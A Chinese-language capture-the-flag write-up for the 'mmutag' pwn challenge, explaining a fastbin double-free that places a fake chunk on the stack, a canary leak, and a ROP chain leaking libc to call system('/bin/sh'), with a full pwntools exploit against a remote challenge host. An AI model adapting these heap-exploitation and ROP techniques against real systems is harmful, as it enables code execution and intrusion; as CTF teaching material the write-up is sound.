拿到题目,给了libc库,太可了,爱了爱了
开局malloc(0x68)输入姓名,这个0x68给人一种熟悉的感觉
程序会顺便输出保存着chunk指针的栈地址,暂时没发现有什么吊用
heap的部分,只有malloc和free的功能
并且固定申请0x68的chunk
free这里,出现了经典的free之后未置0
而且还刚好是0x68的chunk
常见做法就是double free后劫持malloc_hook
然后就是泄露libc基地址
始终没找到什么好办法,泄露出来的栈地址看似也无法得到libc_base
这时候发现了出题者骗人的地方
menu上明明写着输入3退出,但其实输入3并不会退出,只会给你一个输入的机会,然后再把你输入的东西输出
选择4才是真正的exit
这里read又输出,就有了泄露栈上数据的机会
但是,调试之后发现,下面貌似并没有能够泄露libc_base的数据
然后就发现了这两个东西
靠,这不canary么
再仔细想想看,给了某个栈地址,给了泄露canary的办法,给了劫持chunk分配到某个地址的机会。。。。。。
难道真是把chunk分配到栈上?可恶
经过了一段时间的发呆之后,开始动手
canary下面的0x7fffffffde20就是rbp,再下面0x400c9e就是返回地址
#leak stack_addr
sh.recvuntil("please input you name: \n")
sh.sendline("aaaa")
sh.recvuntil("0x")
stack_addr=int(sh.recv(12),16)
print hex(stack_addr)
先泄露栈地址
sh.recvuntil("please input your choice:\n")
sh.sendline("2")
#leak canary
sh.recvuntil("please input your choise:")
sh.sendline("3")
payload='a'*16+'c'*8
sh.sendline(payload)
sh.recvuntil('cccccccc')
canary=u64(sh.recv(8))-0xa
print hex(canary)
再泄露canary
#add two chunk
add(1,'aaaa')
add(2,'bbbb')
#double free
delete(1)
delete(2)
delete(1)
然后就是double free
#change fd
payload=p64(stack_addr-0x40)
add(3,payload)
add(4,'cccc')
add(5,'dddd')
再add回来,把fd指针改掉
这个0x40是怎么来的呢,调试出来的
如图,0x7fffffffde10-0x7fffffffddd0=0x40
下面这步需要注意
我们要往栈里面写入0x71来通过对chunk_size的检测
也就是说先写p64(0)+p64(0x71)
如果后面要返回到main函数的话
紧接着,要写p64(0)
因为当malloc到这个fake chunk这里的时候,如果fd指针是一个任意值,例如0x6161616161616161
那么下一次再分配0x70大小的chunk时,就会到0x6161616161616161地址处去分配,就会出错了,由于返回到的是main函数,程序一开始输入name的时候就会自动malloc(0x68),所以是不行的
而如果这个值是0的话,系统就会认为fastbin中的0x70大小的chunk已经取完了,下一次malloc(0x68)的时候,就会去top chunk里面分配了
当然如果后面不返回到main函数的话,fd的值就不用考虑了
#write size(0x71) for chunk
sh.recvuntil("please input your choise:")
sh.sendline("3")
payload=p64(0)+p64(0x71)
sh.sendline(payload)
写chunk_size
#familar ROP!!!
payload="a"*8+p64(canary)
payload+="b"*8+p64(poprdi)+p64(puts_got)
#return to sub_400a99
payload+=p64(puts_plt)+p64(0x400a99)
add(6,payload)
sh.recvuntil("please input your choise:")
sh.sendline("4")
#leak libc_base
puts_addr=u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
libc_base=puts_addr-libc.symbols["puts"]
system_addr=libc_base+libc.symbols["system"]
binsh=libc_base+libc.search("/bin/sh").next()
info("libc_base:0x%x",libc_base)
熟悉的ROP,泄露puts_got,返回到函数sub_400a99
选择“4”退出来触发leave和retn
计算libc_base和system_addr和binsh_addr
好了,地址泄露成功了,接下来故技重施
#try again
sh.recvuntil("please input your choise:")
sh.sendline("3")
payload=p64(0)+p64(0x71)
sh.sendline(payload)
delete(1)
delete(2)
delete(1)
payload=p64(stack_addr-0x20)
add(7,payload)
add(8,'cccc')
add(9,'dddd')
这里的-0x20也是调试出来的
payload="a"*8+p64(canary)
payload+="b"*8+p64(poprdi)+p64(binsh)
payload+=p64(system_addr)+p64(main)
add(10,payload)
sh.recvuntil("please input your choise:")
sh.sendline("4")
sh.interactive()
好了,搞定了
下面是我的完整exp:
from pwn import *
sh=remote("183.129.189.61",52004)
#sh=process("./mmutag")
context.log_level='debug'
elf=ELF("./mmutag")
libc=ELF("./libc.so.6")
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
main=0x400bf1
poprdi=0x400d23
def add(id,content):
sh.recvuntil("please input your choise:\n")
sh.sendline("1")
sh.recvuntil("please input your id:\n")
sh.sendline(str(id))
sh.recvuntil("input your content\n")
sh.send(content)
def delete(id):
sh.recvuntil("please input your choise:\n")
sh.sendline("2")
sh.recvuntil("please input your id:\n")
sh.sendline(str(id))
#leak stack_addr
sh.recvuntil("please input you name: \n")
sh.sendline("aaaa")
sh.recvuntil("0x")
stack_addr=int(sh.recv(12),16)
print hex(stack_addr)
sh.recvuntil("please input your choice:\n")
sh.sendline("2")
#leak canary
sh.recvuntil("please input your choise:")
sh.sendline("3")
payload='a'*16+'c'*8
sh.sendline(payload)
sh.recvuntil('cccccccc')
canary=u64(sh.recv(8))-0xa
print hex(canary)
#add two chunk
add(1,'aaaa')
add(2,'bbbb')
#double free
delete(1)
delete(2)
delete(1)
#change fd
payload=p64(stack_addr-0x40)
add(3,payload)
add(4,'cccc')
add(5,'dddd')
#write size(0x71) for chunk
sh.recvuntil("please input your choise:")
sh.sendline("3")
payload=p64(0)+p64(0x71)
sh.sendline(payload)
#familar ROP!!!
payload="a"*8+p64(canary)
payload+="b"*8+p64(poprdi)+p64(puts_got)
#return to sub_400a99
payload+=p64(puts_plt)+p64(0x400a99)
add(6,payload)
sh.recvuntil("please input your choise:")
sh.sendline("4")
#leak libc_base
puts_addr=u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
libc_base=puts_addr-libc.symbols["puts"]
system_addr=libc_base+libc.symbols["system"]
binsh=libc_base+libc.search("/bin/sh").next()
info("libc_base:0x%x",libc_base)
#try again
sh.recvuntil("please input your choise:")
sh.sendline("3")
payload=p64(0)+p64(0x71)
sh.sendline(payload)
delete(1)
delete(2)
delete(1)
payload=p64(stack_addr-0x20)
add(7,payload)
add(8,'cccc')
add(9,'dddd')
payload="a"*8+p64(canary)
payload+="b"*8+p64(poprdi)+p64(binsh)
payload+=p64(system_addr)+p64(main)
add(10,payload)
sh.recvuntil("please input your choise:")
sh.sendline("4")
sh.interactive()